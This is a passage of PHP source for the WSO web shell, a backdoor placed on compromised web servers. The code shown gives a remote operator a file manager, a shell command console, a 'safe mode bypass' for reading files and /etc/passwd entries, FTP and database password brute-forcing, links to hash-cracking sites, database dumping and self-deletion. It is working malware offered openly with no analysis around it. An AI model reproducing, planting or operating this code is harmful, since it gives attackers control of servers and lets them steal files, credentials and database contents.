    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>"; 
    if(class_exists(\'ZipArchive\')) 
        echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>"; 
    echo "<option value=\'tar\'>Compress (tar.gz)</option>"; 
    if(!empty($_SESSION[\'act\']) && @count($_SESSION[\'f\'])) 
        echo "<option value=\'paste\'>Paste / Compress</option>"; 
    echo "</select>&nbsp;"; 
    if(!empty($_SESSION[\'act\']) && @count($_SESSION[\'f\']) && (($_SESSION[\'act\'] == \'zip\') || ($_SESSION[\'act\'] == \'tar\'))) 
        echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_SESSION[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;"; 
    echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>"; 
    wsoFooter(); 
} 
  
function actionStringTools() { 
    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}} 
    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}} 
    if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} 
    if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}} 
    if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}} 
    $stringTools = array( 
        \'Base64 encode\' => \'base64_encode\', 
        \'Base64 decode\' => \'base64_decode\', 
        \'Url encode\' => \'urlencode\', 
        \'Url decode\' => \'urldecode\', 
        \'Full urlencode\' => \'full_urlencode\', 
        \'md5 hash\' => \'md5\', 
        \'sha1 hash\' => \'sha1\', 
        \'crypt\' => \'crypt\', 
        \'CRC32\' => \'crc32\', 
        \'ASCII to HEX\' => \'ascii2hex\', 
        \'HEX to ASCII\' => \'hex2ascii\', 
        \'HEX to DEC\' => \'hexdec\', 
        \'HEX to BIN\' => \'hex2bin\', 
        \'DEC to HEX\' => \'dechex\', 
        \'DEC to BIN\' => \'decbin\', 
        \'BIN to HEX\' => \'binhex\', 
        \'BIN to DEC\' => \'bindec\', 
        \'String to lower case\' => \'strtolower\', 
        \'String to upper case\' => \'strtoupper\', 
        \'Htmlspecialchars\' => \'htmlspecialchars\', 
        \'String length\' => \'strlen\', 
    ); 
    if(isset($_POST[\'ajax\'])) { 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; 
        ob_start(); 
        if(in_array($_POST[\'p1\'], $stringTools)) 
            echo $_POST[\'p1\']($_POST[\'p2\']); 
        $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
"; 
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    wsoHeader(); 
    echo \'<h1>String conversions</h1><div class=content>\'; 
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; 
    echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>"; 
    foreach($stringTools as $k => $v) 
        echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>"; 
        echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>"; 
    if(!empty($_POST[\'p1\'])) { 
        if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\'])); 
    } 
    echo"</pre></div><br><h1>Search text in files:</h1><div class=content> 
  
        <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'> 
            <tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr> 
            <tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr> 
            <tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr> 
            <tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr> 
            </table></form>"; 
  
    function wsoRecursiveGlob($path) { 
        if(substr($path, -1) != \'/\') 
            $path.=\'/\'; 
        $paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR))); 
        if(is_array($paths)&&@count($paths)) { 
            foreach($paths as $item) { 
                if(@is_dir($item)){ 
                    if($path!=$item) 
                        wsoRecursiveGlob($item); 
                } else { 
                    if(@strpos(@file_get_contents($item), @$_POST[\'p2\'])!==false) 
                        echo "<a href=\'#\' onclick=\'g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")\'>".htmlspecialchars($item)."</a><br>"; 
                } 
            } 
        } 
    } 
    if(@$_POST[\'p3\']) 
        wsoRecursiveGlob($_POST[\'c\']); 
    echo "</div><br><h1>Search for hash:</h1><div class=content> 
  
        <form method=\'post\' target=\'_blank\' name=\'hf\'> 
            <input type=\'text\' name=\'hash\' style=\'width:200px;\'><br> 
            <input type=\'button\' value=\'hashcrack.com\' onclick=\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\"><br> 
            <input type=\'button\' value=\'milw0rm.com\' onclick=\"document.hf.action=\'http://www.milw0rm.com/cracker/search.php\';document.hf.submit()\"><br> 
            <input type=\'button\' value=\'hashcracking.info\' onclick=\"document.hf.action=\'https://hashcracking.info/index.php\';document.hf.submit()\"><br> 
            <input type=\'button\' value=\'md5.rednoize.com\' onclick=\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br> 
            <input type=\'button\' value=\'md5decrypter.com\' onclick=\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\"><br> 
        </form></div>"; 
    wsoFooter(); 
} 
  
function actionFilesTools() { 
    if( isset($_POST[\'p1\']) ) 
        $_POST[\'p1\'] = urldecode($_POST[\'p1\']); 
    if(@$_POST[\'p2\']==\'download\') { 
        if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) { 
            ob_start("ob_gzhandler", 4096); 
            header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\'])); 
            if (function_exists("mime_content_type")) { 
                $type = @mime_content_type($_POST[\'p1\']); 
                header("Content-Type: " . $type); 
            } else
                header("Content-Type: application/octet-stream"); 
            $fp = @fopen($_POST[\'p1\'], "r"); 
            if($fp) { 
                while(!@feof($fp)) 
                    echo @fread($fp, 1024); 
                fclose($fp); 
            } 
        }exit; 
    } 
    if( @$_POST[\'p2\'] == \'mkfile\' ) { 
        if(!file_exists($_POST[\'p1\'])) { 
            $fp = @fopen($_POST[\'p1\'], \'w\'); 
            if($fp) { 
                $_POST[\'p2\'] = "edit"; 
                fclose($fp); 
            } 
        } 
    } 
    wsoHeader(); 
    echo \'<h1>File tools</h1><div class=content>\'; 
    if( !file_exists(@$_POST[\'p1\']) ) { 
        echo \'File not exists\'; 
        wsoFooter(); 
        return; 
    } 
    $uid = @posix_getpwuid(@fileowner($_POST[\'p1\'])); 
    if(!$uid) { 
        $uid[\'name\'] = @fileowner($_POST[\'p1\']); 
        $gid[\'name\'] = @filegroup($_POST[\'p1\']); 
    } else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\'])); 
    echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\'; 
    echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\'; 
    if( empty($_POST[\'p2\']) ) 
        $_POST[\'p2\'] = \'view\'; 
    if( is_file($_POST[\'p1\']) ) 
        $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\'); 
    else
        $m = array(\'Chmod\', \'Rename\', \'Touch\'); 
    foreach($m as $v) 
        echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \'; 
    echo \'<br><br>\'; 
    switch($_POST[\'p2\']) { 
        case \'view\': 
            echo \'<pre class=ml1>\'; 
            $fp = @fopen($_POST[\'p1\'], \'r\'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo \'</pre>\'; 
            break; 
        case \'highlight\': 
            if( @is_readable($_POST[\'p1\']) ) { 
                echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\'; 
                $code = @highlight_file($_POST[\'p1\'],true); 
                echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\'; 
            } 
            break; 
        case \'chmod\': 
            if( !empty($_POST[\'p3\']) ) { 
                $perms = 0; 
                for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i) 
                    $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1)); 
                if(!@chmod($_POST[\'p1\'], $perms)) 
                    echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\'; 
            } 
            clearstatcache(); 
            echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\'; 
            break; 
        case \'edit\': 
            if( !is_writable($_POST[\'p1\'])) { 
                echo \'File isn\'t writeable\'; 
                break; 
            } 
            if( !empty($_POST[\'p3\']) ) { 
                $time = @filemtime($_POST[\'p1\']); 
                $_POST[\'p3\'] = substr($_POST[\'p3\'],1); 
                $fp = @fopen($_POST[\'p1\'],"w"); 
                if($fp) { 
                    @fwrite($fp,$_POST[\'p3\']); 
                    @fclose($fp); 
                    echo \'Saved!<br><script>p3_="";</script>\'; 
                    @touch($_POST[\'p1\'],$time,$time); 
                } 
            } 
            echo \'<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\'; 
            $fp = @fopen($_POST[\'p1\'], \'r\'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo \'</textarea><input type=submit value=">>"></form>\'; 
            break; 
        case \'hexdump\': 
            $c = @file_get_contents($_POST[\'p1\']); 
            $n = 0; 
            $h = array(\'00000000<br>\',\'\',\'\'); 
            $len = strlen($c); 
            for ($i=0; $i<$len; ++$i) { 
                $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \'; 
                switch ( ord($c[$i]) ) { 
                    case 0:  $h[2] .= \' \'; break; 
                    case 9:  $h[2] .= \' \'; break; 
                    case 10: $h[2] .= \' \'; break; 
                    case 13: $h[2] .= \' \'; break; 
                    default: $h[2] .= $c[$i]; break; 
                } 
                $n++; 
                if ($n == 32) { 
                    $n = 0; 
                    if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';} 
                    $h[1] .= \'<br>\'; 
                    $h[2] .= "
"; 
                } 
            } 
            echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\'; 
            break; 
        case \'rename\': 
            if( !empty($_POST[\'p3\']) ) { 
                if(!@rename($_POST[\'p1\'], $_POST[\'p3\'])) 
                    echo \'Can\'t rename!<br>\'; 
                else
                    die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\'); 
            } 
            echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\'; 
            break; 
        case \'touch\': 
            if( !empty($_POST[\'p3\']) ) { 
                $time = strtotime($_POST[\'p3\']); 
                if($time) { 
                    if(!touch($_POST[\'p1\'],$time,$time)) 
                        echo \'Fail!\'; 
                    else
                        echo \'Touched!\'; 
                } else echo \'Bad time format!\'; 
            } 
            clearstatcache(); 
            echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\'; 
            break; 
    } 
    echo \'</div>\'; 
    wsoFooter(); 
} 
  
function actionSafeMode() { 
    $temp=\'\'; 
    ob_start(); 
    switch($_POST[\'p1\']) { 
        case 1: 
            $temp=@tempnam($test, \'cx\'); 
            if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){ 
                echo @file_get_contents($temp); 
                unlink($temp); 
            } else
                echo \'Sorry... Can\'t open file\'; 
            break; 
        case 2: 
            $files = glob($_POST[\'p2\'].\'*\'); 
            if( is_array($files) ) 
                foreach ($files as $filename) 
                    echo $filename."
"; 
            break; 
        case 3: 
            $ch = curl_init("file://".$_POST[\'p2\']."".preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)); 
            curl_exec($ch); 
            break; 
        case 4: 
            ini_restore("safe_mode"); 
            ini_restore("open_basedir"); 
            include($_POST[\'p2\']); 
            break; 
        case 5: 
            for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) { 
                $uid = @posix_getpwuid($_POST[\'p2\']); 
                if ($uid) 
                    echo join(\':\',$uid)."
"; 
            } 
            break; 
    } 
    $temp = ob_get_clean(); 
    wsoHeader(); 
    echo \'<h1>Safe mode bypass</h1><div class=content>\'; 
    echo \'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\'; 
    if($temp) 
        echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.htmlspecialchars($temp).\'</pre>\'; 
    echo \'</div>\'; 
    wsoFooter(); 
} 
  
function actionConsole() { 
    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) { 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = true; 
        $_POST[\'p1\'] .= \' 2>&1\'; 
    } elseif(!empty($_POST[\'p1\'])) 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = false; 
  
    if(isset($_POST[\'ajax\'])) { 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; 
        ob_start(); 
        echo "d.cf.cmd.value=\'\';
"; 
        $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".wsoEx($_POST[\'p1\']),"

	\\'")); 
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match)) { 
            if(@chdir($match[1])) { 
                $GLOBALS[\'cwd\'] = @getcwd(); 
                echo "c_=\'".$GLOBALS[\'cwd\']."\';"; 
            } 
        } 
        echo "d.cf.output.value+=\'".$temp."\';"; 
        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; 
        $temp = ob_get_clean(); 
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    wsoHeader(); 
    echo "<script> 
if(window.Event) window.captureEvents(Event.KEYDOWN); 
var cmds = new Array(\'\'); 
var cur = 0; 
function kp(e) { 
    var n = (window.Event) ? e.which : e.keyCode; 
    if(n == 38) { 
        cur--; 
        if(cur>=0) 
            document.cf.cmd.value = cmds[cur]; 
        else
            cur++; 
    } else if(n == 40) { 
        cur++; 
        if(cur < cmds.length) 
            document.cf.cmd.value = cmds[cur]; 
        else
            cur--; 
    } 
} 
function add(cmd) { 
    cmds.pop(); 
    cmds.push(cmd); 
    cmds.push(\'\'); 
    cur = cmds.length-1; 
} 
  
</script>"; 
    echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>\'; 
    foreach($GLOBALS[\'aliases\'] as $n => $v) { 
        if($v == \'\') { 
            echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\'; 
            continue; 
        } 
        echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\'; 
    } 
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; 
    echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\'; 
    if(!empty($_POST[\'p1\'])) { 
        echo htmlspecialchars("$ ".$_POST[\'p1\']."
".wsoEx($_POST[\'p1\'])); 
    } 
    echo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\'; 
    echo \'</form></div><script>d.cf.cmd.focus();</script>\'; 
    wsoFooter(); 
} 
  
function actionLogout() { 
    session_destroy(); 
    die(\'bye!\'); 
} 
  
function actionSelfRemove() { 
  
    if($_POST[\'p1\'] == \'yes\') 
        if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__))) 
            die(\'Shell has been removed\'); 
        else
            echo \'unlink error!\'; 
    if($_POST[\'p1\'] != \'yes\') 
        wsoHeader(); 
    echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\'; 
    wsoFooter(); 
} 
  
function actionBruteforce() { 
    wsoHeader(); 
    if( isset($_POST[\'proto\']) ) { 
        echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\'; 
        if( $_POST[\'proto\'] == \'ftp\' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $fp = @ftp_connect($ip, $port?$port:21); 
                if(!$fp) return false; 
                $res = @ftp_login($fp, $login, $pass); 
                @ftp_close($fp); 
                return $res; 
            } 
        } elseif( $_POST[\'proto\'] == \'mysql\' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass); 
                @mysql_close($res); 
                return $res; 
            } 
        } elseif( $_POST[\'proto\'] == \'pgsql\' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres"; 
                $res = @pg_connect($str); 
                @pg_close($res); 
                return $res; 
            } 
        } 
        $success = 0; 
        $attempts = 0; 
        $server = explode(":", $_POST[\'server\']); 
        if($_POST[\'type\'] == 1) { 
            $temp = @file(\'/etc/passwd\'); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = explode(":", $line); 
                    ++$attempts; 
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { 
                        $success++; 
                        echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\'; 
                    } 
                    if(@$_POST[\'reverse\']) { 
                        $tmp = ""; 
                        for($i=strlen($line[0])-1; $i>=0; --$i) 
                            $tmp .= $line[0][$i]; 
                        ++$attempts; 
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { 
                            $success++; 
                            echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp); 
                        } 
                    } 
                } 
        } elseif($_POST[\'type\'] == 2) { 
            $temp = @file($_POST[\'dict\']); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = trim($line); 
                    ++$attempts; 
                    if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) { 
                        $success++; 
                        echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\'; 
                    } 
                } 
        } 
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; 
    } 
    echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
        .\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
        .\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
        .\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
        .\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
        .\'<span>Server:port</span></td>\'
        .\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
        .\'<tr><td><span>Brute type</span></td>\'
        .\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
        .\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
        .\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
        .\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
        .\'<td><input type=text name=login value="root"></td></tr>\'
        .\'<tr><td><span>Dictionary</span></td>\'
        .\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
        .\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\'; 
    echo \'</div><br>\'; 
    wsoFooter(); 
} 
  
function actionSql() { 
    class DbClass { 
        var $type; 
        var $link; 
        var $res; 
        function DbClass($type) { 
            $this->type = $type; 
        } 
        function connect($host, $user, $pass, $dbname){ 
            switch($this->type)  { 
                case \'mysql\': 
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; 
                    break; 
                case \'pgsql\': 
                    $host = explode(\':\', $host); 
                    if(!$host[1]) $host[1]=5432; 
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; 
                    break; 
            } 
            return false; 
        } 
        function selectdb($db) { 
            switch($this->type)  { 
                case \'mysql\': 
                    if (@mysql_select_db($db))return true; 
                    break; 
            } 
            return false; 
        } 
        function query($str) { 
            switch($this->type) { 
                case \'mysql\': 
                    return $this->res = @mysql_query($str); 
                    break; 
                case \'pgsql\': 
                    return $this->res = @pg_query($this->link,$str); 
                    break; 
            } 
            return false; 
        } 
        function fetch() { 
            $res = func_num_args()?func_get_arg(0):$this->res; 
            switch($this->type)  { 
                case \'mysql\': 
                    return @mysql_fetch_assoc($res); 
                    break; 
                case \'pgsql\': 
                    return @pg_fetch_assoc($res); 
                    break; 
            } 
            return false; 
        } 
        function listDbs() { 
            switch($this->type)  { 
                case \'mysql\': 
                        return $this->query("SHOW databases"); 
                break; 
                case \'pgsql\': 
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'"); 
                break; 
            } 
            return false; 
        } 
        function listTables() { 
            switch($this->type)  { 
                case \'mysql\': 
                    return $this->res = $this->query(\'SHOW TABLES\'); 
                break; 
                case \'pgsql\': 
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'"); 
                break; 
            } 
            return false; 
        } 
        function error() { 
            switch($this->type)  { 
                case \'mysql\': 
                    return @mysql_error(); 
                break; 
                case \'pgsql\': 
                    return @pg_last_error(); 
                break; 
            } 
            return false; 
        } 
        function setCharset($str) { 
            switch($this->type)  { 
                case \'mysql\': 
                    if(function_exists(\'mysql_set_charset\')) 
                        return @mysql_set_charset($str, $this->link); 
                    else
                        $this->query(\'SET CHARSET \'.$str); 
                    break; 
                case \'pgsql\': 
                    return @pg_set_client_encoding($this->link, $str); 
                    break; 
            } 
            return false; 
        } 
        function loadFile($str) { 
            switch($this->type)  { 
                case \'mysql\': 
                    return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file")); 
                break; 
                case \'pgsql\': 
                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;"); 
                    $r=array(); 
                    while($i=$this->fetch()) 
                        $r[] = $i[\'file\']; 
                    $this->query(\'drop table wso2\'); 
                    return array(\'file\'=>implode("
",$r)); 
                break; 
            } 
            return false; 
        } 
        function dump($table, $fp = false) { 
            switch($this->type)  { 
                case \'mysql\': 
                    $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\'); 
                    $create = mysql_fetch_array($res); 
                    $sql = $create[1].";
"; 
                    if($fp) fwrite($fp, $sql); else echo($sql); 
                    $this->query(\'SELECT * FROM `\'.$table.\'`\'); 
                    $head = true; 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            if($v == null) 
                                $item[$k] = "NULL"; 
                            elseif(is_numeric($v)) 
                                $item[$k] = $v; 
                            else
                                $item[$k] = "\'".@mysql_real_escape_string($v)."\'"; 
                            $columns[] = "`".$k."`"; 
                        } 
                        if($head) { 
                            $sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).\')\'; 
                            $head = false; 
                        } else
                            $sql = "
	,(".implode(", ", $item).\')\'; 
                        if($fp) fwrite($fp, $sql); else echo($sql); 
                    } 
                    if(!$head) 
                        if($fp) fwrite($fp, ";

"); else echo(";

"); 
                break; 
                case \'pgsql\': 
                    $this->query(\'SELECT * FROM \'.$table); 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            $item[$k] = "\'".addslashes($v)."\'"; 
                            $columns[] = $k; 
                        } 
                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
"; 
                        if($fp) fwrite($fp, $sql); else echo($sql); 
                    } 
                break; 
            } 
            return false; 
        } 
    }; 
    $db = new DbClass($_POST[\'type\']); 
    if(@$_POST[\'p2\']==\'download\') { 
        $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']); 
        $db->selectdb($_POST[\'sql_base\']); 
        switch($_POST[\'charset\']) { 
            case "Windows-1251": $db->setCharset(\'cp1251\'); break; 
            case "UTF-8": $db->setCharset(\'utf8\'); break; 
            case "KOI8-R": $db->setCharset(\'koi8r\'); break; 
            case "KOI8-U": $db->setCharset(\'koi8u\'); break; 
            case "cp866": $db->setCharset(\'cp866\'); break; 
        } 
        if(empty($_POST[\'file\'])) { 
            ob_start("ob_gzhandler", 4096); 
            header("Content-Disposition: attachment; filename=dump.sql"); 
            header("Content-Type: text/plain"); 
            foreach($_POST[\'tbl\'] as $v) 
                $db->dump($v); 
            exit; 
        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) { 
